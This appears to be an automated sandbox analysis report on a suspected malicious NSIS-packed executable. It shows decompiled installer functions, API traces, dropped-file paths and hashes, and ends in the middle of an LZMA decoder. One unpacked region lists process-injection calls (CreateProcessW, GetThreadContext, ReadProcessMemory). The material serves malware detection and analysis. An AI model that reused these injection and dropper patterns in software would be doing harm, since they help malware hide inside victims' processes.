0x004018b8
0x004018b8
0x004018bc
0x00000000
0x00000000
0x004018bc
0x004018d3
0x004018d9
0x004018db
0x00000000
0x004018e1
0x004018e1
0x004018e4
0x004018fc
0x004018e6
0x004018e9
0x004018f2
0x004018f2
0x00401901
0x00401906
0x00402390
0x00000000
0x00402390
0x00000000

APIs

lstrcatW.KERNEL32(00000000,00000000), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,KXCJDFJSKF,KXCJDFJSKF,00000000,00000000,KXCJDFJSKF,00436000,?,?,00000031), ref: 004017D5

Part of subcall function 0040653C: lstrcpynW.KERNEL32(?,?,00000400,004036A9,00429260,NSIS Error,?,00000007,00000009,0000000B), ref: 00406549

Part of subcall function 004055A4: lstrlenW.KERNEL32(00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00403040,00000000,?), ref: 004055DC
Part of subcall function 004055A4: lstrlenW.KERNEL32(00403040,00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00403040,00000000), ref: 004055EC
Part of subcall function 004055A4: lstrcatW.KERNEL32(00422728,00403040), ref: 004055FF
Part of subcall function 004055A4: SetWindowTextW.USER32(00422728,00422728), ref: 00405611
Part of subcall function 004055A4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405637
Part of subcall function 004055A4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405651
Part of subcall function 004055A4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040565F

Strings

KXCJDFJSKF, xrefs: 0040178D, 00401796, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906
C:\Users\user\AppData\Local\Temp\nsoCA66.tmp\5qzt14dbsxlb2e.dll, xrefs: 00401835, 00401851

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nsoCA66.tmp\5qzt14dbsxlb2e.dll$KXCJDFJSKF
API String ID: 1941528284-2609321601
Opcode ID: 4b913798fb200dfea553bd9fe538fd44ff4447b51554b0a60bb8fefd456ad0c1
Instruction ID: 1f20f3305f5cdc04e1f2059eaac63a386f89c848407f65c8aae314978641b4a4
Opcode Fuzzy Hash: 4b913798fb200dfea553bd9fe538fd44ff4447b51554b0a60bb8fefd456ad0c1
Instruction Fuzzy Hash: 08419431500114BACF10BFB9DD85DAE7A79EF45729B20423FF422B10E2D73C8A519A6E

Uniqueness

Uniqueness Score: -1.00%

Function 00B4090A, Relevance: 10.7, APIs: 7, Instructions: 237fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,00000000,55E38B1F,00000000,050A26AF,00000000,D6EB2188,00000000,433A3842), ref: 00B40A0C
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?), ref: 00B40BD9

Memory Dump Source

Source File: 00000000.00000002.219491408.0000000000B40000.00000040.00000001.sdmp, Offset: 00B40000, based on PE: false

Similarity

API ID: CreateFileFreeVirtual
String ID:
API String ID: 204039940-0
Opcode ID: 80c1d973aaf40d54bdd7a0be9f9c0a537a102d431d1d3a47f64fdcaf03900abe
Instruction ID: 32c9a51d0afe050dd92e56cb333c9cd39e31a427f49e89584262df9bd62cd6c1
Opcode Fuzzy Hash: 80c1d973aaf40d54bdd7a0be9f9c0a537a102d431d1d3a47f64fdcaf03900abe
Instruction Fuzzy Hash: C3A1EE70D10209EFDF10EBE4C985BADBBF1EF08715F20849AE611BA2A1D3755B80EB14

Uniqueness

Uniqueness Score: -1.00%

Function 004068C1, Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004068C1(intOrPtr _a4) {
				short _v576;
				signed int _t13;
				struct HINSTANCE__* _t17;
				signed int _t19;
				void* _t24;

				_t13 = GetSystemDirectoryW( &_v576, 0x104);
				if(_t13 > 0x104) {
					_t13 = 0;
				}
				if(_t13 == 0 ||  *((short*)(_t24 + _t13 * 2 - 0x23e)) == 0x5c) {
					_t19 = 1;
				} else {
					_t19 = 0;
				}
				wsprintfW(_t24 + _t13 * 2 - 0x23c, L"%s%S.dll", 0x40a014 + _t19 * 2, _a4);
				_t17 = LoadLibraryExW( &_v576, 0, 8); // executed
				return _t17;
			}

0x004068d8
0x004068e1
0x004068e3
0x004068e3
0x004068e7
0x004068fa
0x004068f4
0x004068f4
0x004068f4
0x00406913
0x00406927
0x0040692e

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004068D8
wsprintfW.USER32 ref: 00406913
LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406927

Strings

%s%S.dll, xrefs: 0040690D
\, xrefs: 004068E9
UXTHEME, xrefs: 004068CA

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 63130bafcb32548bd4340548baa3f8658423137b3882cd96386db367ad08b740
Instruction ID: 979e31ef7f6a653eb027d6e7281dab5f214eebcb072a06bc6d9d9cfc9f176359
Opcode Fuzzy Hash: 63130bafcb32548bd4340548baa3f8658423137b3882cd96386db367ad08b740
Instruction Fuzzy Hash: BDF02B71501219A7CB14BB68DD0DF9B376CEB00304F10447EA646F10D0EB7CDA68CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00405A73, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405A73(WCHAR* _a4) {
				struct _SECURITY_ATTRIBUTES _v16;
				struct _SECURITY_DESCRIPTOR _v36;
				int _t22;
				long _t23;

				_v36.Sbz1 = _v36.Sbz1 & 0x00000000;
				_v36.Owner = 0x4083f8;
				_v36.Group = 0x4083f8;
				_v36.Sacl = _v36.Sacl & 0x00000000;
				_v16.bInheritHandle = _v16.bInheritHandle & 0x00000000;
				_v16.lpSecurityDescriptor =  &_v36;
				_v36.Revision = 1;
				_v36.Control = 4;
				_v36.Dacl = 0x4083e8;
				_v16.nLength = 0xc;
				_t22 = CreateDirectoryW(_a4,  &_v16); // executed
				if(_t22 != 0) {
					L1:
					return 0;
				}
				_t23 = GetLastError();
				if(_t23 == 0xb7) {
					if(SetFileSecurityW(_a4, 0x80000007,  &_v36) != 0) {
						goto L1;
					}
					return GetLastError();
				}
				return _t23;
			}

0x00405a7e
0x00405a82
0x00405a85
0x00405a8b
0x00405a8f
0x00405a93
0x00405a9b
0x00405aa2
0x00405aa8
0x00405aaf
0x00405ab6
0x00405abe
0x00405ac0
0x00000000
0x00405ac0
0x00405aca
0x00405ad1
0x00405ae7
0x00000000
0x00000000
0x00000000
0x00405ae9
0x00405aed

APIs

CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405AB6
GetLastError.KERNEL32 ref: 00405ACA
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 00405ADF
GetLastError.KERNEL32 ref: 00405AE9

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405A99

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3449924974-3916508600
Opcode ID: 4d8c721838b8a92ea27708fe49d100345a2f80ebd1be40878b53e15a1b169c58
Instruction ID: 182fb86997ef6356dfbf0076fac1484c8d0c28c6014f2d3d8060d55cd567293f
Opcode Fuzzy Hash: 4d8c721838b8a92ea27708fe49d100345a2f80ebd1be40878b53e15a1b169c58
Instruction Fuzzy Hash: 30010871D00619EADF019BA0C988BEFBFB8EF04315F00813AD545B6280D7789648CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00406061, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406061(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				intOrPtr _v8;
				short _v12;
				short _t12;
				intOrPtr _t13;
				signed int _t14;
				WCHAR* _t17;
				signed int _t19;
				signed short _t23;
				WCHAR* _t26;

				_t26 = _a4;
				_t23 = 0x64;
				while(1) {
					_t12 =  *L"nsa"; // 0x73006e
					_t23 = _t23 - 1;
					_v12 = _t12;
					_t13 =  *0x40a5ac; // 0x61
					_v8 = _t13;
					_t14 = GetTickCount();
					_t19 = 0x1a;
					_v8 = _v8 + _t14 % _t19;
					_t17 = GetTempFileNameW(_a8,  &_v12, 0, _t26); // executed
					if(_t17 != 0) {
						break;
					}
					if(_t23 != 0) {
						continue;
					} else {
						 *_t26 =  *_t26 & _t23;
					}
					L4:
					return _t17;
				}
				_t17 = _t26;
				goto L4;
			}

0x00406067
0x0040606d
0x0040606e
0x0040606e
0x00406073
0x00406074
0x00406077
0x0040607c
0x0040607f
0x00406089
0x00406096
0x0040609a
0x004060a2
0x00000000
0x00000000
0x004060a6
0x00000000
0x004060a8
0x004060a8
0x004060a8
0x004060ab
0x004060ae
0x004060ae
0x004060b1
0x00000000

APIs

GetTickCount.KERNEL32 ref: 0040607F
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,"C:\Users\user\Desktop\NAO09009009.exe" ,004035D6,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822), ref: 0040609A

Strings

nsa, xrefs: 0040606E
C:\Users\user\AppData\Local\Temp\, xrefs: 00406066
"C:\Users\user\Desktop\NAO09009009.exe" , xrefs: 00406061

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\NAO09009009.exe" $C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-3657322140
Opcode ID: 6315ab6e6f8253ba2c88c9b6803a176270f8621abb800126aa0f3c3b7b9ef66c
Instruction ID: f50322da3c8d1fbf3185d5aa4cbdefdd087cb84507cf15d2c2e6a21a41158221
Opcode Fuzzy Hash: 6315ab6e6f8253ba2c88c9b6803a176270f8621abb800126aa0f3c3b7b9ef66c
Instruction Fuzzy Hash: BBF09076741204BFEB00CF59DD05E9EB7BCEBA1710F11803AFA05F7240E6B499648768

Uniqueness

Uniqueness Score: -1.00%

Function 00B40034, Relevance: 6.7, APIs: 4, Instructions: 706processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 00B40578
GetThreadContext.KERNELBASE(?,00010007), ref: 00B4059B
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00B405BF

Memory Dump Source

Source File: 00000000.00000002.219491408.0000000000B40000.00000040.00000001.sdmp, Offset: 00B40000, based on PE: false

Similarity

API ID: Process$ContextCreateMemoryReadThread
String ID:
API String ID: 2411489757-0
Opcode ID: b5f851efcdd92c65298c99bd5067d6efd4336b2e74c1dc6bfec5f0f5f2609b58
Instruction ID: 54784ec2a9395404a0fec0c15988dc12ae7d0d8ed6286559aaf75b7011b066a7
Opcode Fuzzy Hash: b5f851efcdd92c65298c99bd5067d6efd4336b2e74c1dc6bfec5f0f5f2609b58
Instruction Fuzzy Hash: 46522C35E50258EEEB60DB94EC55BFDB7B5EF48710F20449AE608EA2A1D3705E80EF05

Uniqueness

Uniqueness Score: -1.00%

Function 00407090, Relevance: 5.2, APIs: 4, Instructions: 236
COMMON

Download Yara Rule

C-Code - Quality: 99%

			E00407090() {
				signed int _t530;
				void _t537;
				signed int _t538;
				signed int _t539;
				unsigned short _t569;
				signed int _t579;
				signed int _t607;
				void* _t627;
				signed int _t628;
				signed int _t635;
				signed int* _t643;
				void* _t644;

				L0:
				while(1) {
					L0:
					_t530 =  *(_t644 - 0x30);
					if(_t530 >= 4) {
					}
					 *(_t644 - 0x40) = 6;
					 *(_t644 - 0x7c) = 0x19;
					 *((intOrPtr*)(_t644 - 0x58)) = (_t530 << 7) +  *(_t644 - 4) + 0x360;
					while(1) {
						L145:
						 *(_t644 - 0x50) = 1;
						 *(_t644 - 0x48) =  *(_t644 - 0x40);
						while(1) {
							L149:
							if( *(_t644 - 0x48) <= 0) {
								goto L155;
							}
							L150:
							_t627 =  *(_t644 - 0x50) +  *(_t644 - 0x50);
							_t643 = _t627 +  *((intOrPtr*)(_t644 - 0x58));
							 *(_t644 - 0x54) = _t643;
							_t569 =  *_t643;
							_t635 = _t569 & 0x0000ffff;
							_t607 = ( *(_t644 - 0x10) >> 0xb) * _t635;
							if( *(_t644 - 0xc) >= _t607) {
								 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t607;
								 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t607;
								_t628 = _t627 + 1;
								 *_t643 = _t569 - (_t569 >> 5);
								 *(_t644 - 0x50) = _t628;
							} else {
								 *(_t644 - 0x10) = _t607;
								 *(_t644 - 0x50) =  *(_t644 - 0x50) << 1;
								 *_t643 = (0x800 - _t635 >> 5) + _t569;
							}
							if( *(_t644 - 0x10) >= 0x1000000) {
								L148:
								_t487 = _t644 - 0x48;
								 *_t487 =  *(_t644 - 0x48) - 1;
								L149:
								if( *(_t644 - 0x48) <= 0) {
									goto L155;
								}
								goto L150;
							} else {
								L154:
								L146:
								if( *(_t644 - 0x6c) == 0) {
									L169:
									 *(_t644 - 0x88) = 0x18;
									L170:
									_t579 = 0x22;
									memcpy( *(_t644 - 0x90), _t644 - 0x88, _t579 << 2);
									_t539 = 0;
									L172:
									return _t539;
								}
								L147:
								 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
								 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
								_t484 = _t644 - 0x70;
								 *_t484 =  &(( *(_t644 - 0x70))[1]);
								 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
								goto L148;
							}
							L155:
							_t537 =  *(_t644 - 0x7c);
							 *((intOrPtr*)(_t644 - 0x44)) =  *(_t644 - 0x50) - (1 <<  *(_t644 - 0x40));
							while(1) {
								L140:
								 *(_t644 - 0x88) = _t537;
								while(1) {
									L1:
									_t538 =  *(_t644 - 0x88);
									if(_t538 > 0x1c) {
										break;
									}
									L2:
									switch( *((intOrPtr*)(_t538 * 4 +  &M004074FE))) {
										case 0:
											L3:
											if( *(_t644 - 0x6c) == 0) {
												goto L170;
											}
											L4:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t538 =  *( *(_t644 - 0x70));
											if(_t538 > 0xe1) {
												goto L171;
											}
											L5:
											_t542 = _t538 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t581);
											_push(9);
											_pop(_t582);
											_t638 = _t542 / _t581;
											_t544 = _t542 % _t581 & 0x000000ff;
											asm("cdq");
											_t633 = _t544 % _t582 & 0x000000ff;
											 *(_t644 - 0x3c) = _t633;
											 *(_t644 - 0x1c) = (1 << _t638) - 1;
											 *((intOrPtr*)(_t644 - 0x18)) = (1 << _t544 / _t582) - 1;
											_t641 = (0x300 << _t633 + _t638) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t644 - 0x78))) {
												L10:
												if(_t641 == 0) {
													L12:
													 *(_t644 - 0x48) =  *(_t644 - 0x48) & 0x00000000;
													 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t641 = _t641 - 1;
													 *((short*)( *(_t644 - 4) + _t641 * 2)) = 0x400;
												} while (_t641 != 0);
												goto L12;
											}
											L6:
											if( *(_t644 - 4) != 0) {
												GlobalFree( *(_t644 - 4));
											}
											_t538 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t644 - 4) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t644 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L157:
												 *(_t644 - 0x88) = 1;
												goto L170;
											}
											L14:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x40) =  *(_t644 - 0x40) | ( *( *(_t644 - 0x70)) & 0x000000ff) <<  *(_t644 - 0x48) << 0x00000003;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t45 = _t644 - 0x48;
											 *_t45 =  *(_t644 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t644 - 0x48) < 4) {
												goto L13;
											}
											L16:
											_t550 =  *(_t644 - 0x40);
											if(_t550 ==  *(_t644 - 0x74)) {
												L20:
												 *(_t644 - 0x48) = 5;
												 *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) =  *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											L17:
											 *(_t644 - 0x74) = _t550;
											if( *(_t644 - 8) != 0) {
												GlobalFree( *(_t644 - 8));
											}
											_t538 = GlobalAlloc(0x40,  *(_t644 - 0x40)); // executed
											 *(_t644 - 8) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t557 =  *(_t644 - 0x60) &  *(_t644 - 0x1c);
											 *(_t644 - 0x84) = 6;
											 *(_t644 - 0x4c) = _t557;
											_t642 =  *(_t644 - 4) + (( *(_t644 - 0x38) << 4) + _t557) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L158:
												 *(_t644 - 0x88) = 3;
												goto L170;
											}
											L22:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											_t67 = _t644 - 0x70;
											 *_t67 =  &(( *(_t644 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L23:
											 *(_t644 - 0x48) =  *(_t644 - 0x48) - 1;
											if( *(_t644 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t559 =  *_t642;
											_t626 = _t559 & 0x0000ffff;
											_t596 = ( *(_t644 - 0x10) >> 0xb) * _t626;
											if( *(_t644 - 0xc) >= _t596) {
												 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t596;
												 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t596;
												 *(_t644 - 0x40) = 1;
												_t560 = _t559 - (_t559 >> 5);
												__eflags = _t560;
												 *_t642 = _t560;
											} else {
												 *(_t644 - 0x10) = _t596;
												 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
												 *_t642 = (0x800 - _t626 >> 5) + _t559;
											}
											if( *(_t644 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t644 - 0x6c) == 0) {
												L168:
												 *(_t644 - 0x88) = 5;
												goto L170;
											}
											L138:
											 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L139:
											_t537 =  *(_t644 - 0x84);
											L140:
											 *(_t644 - 0x88) = _t537;
											goto L1;
										case 6:
											L25:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L36:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L26:
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												L35:
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												L32:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											L66:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												L68:
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											L67:
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											L70:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											L73:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											L74:
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											L75:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											L82:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L84:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L83:
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											L85:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
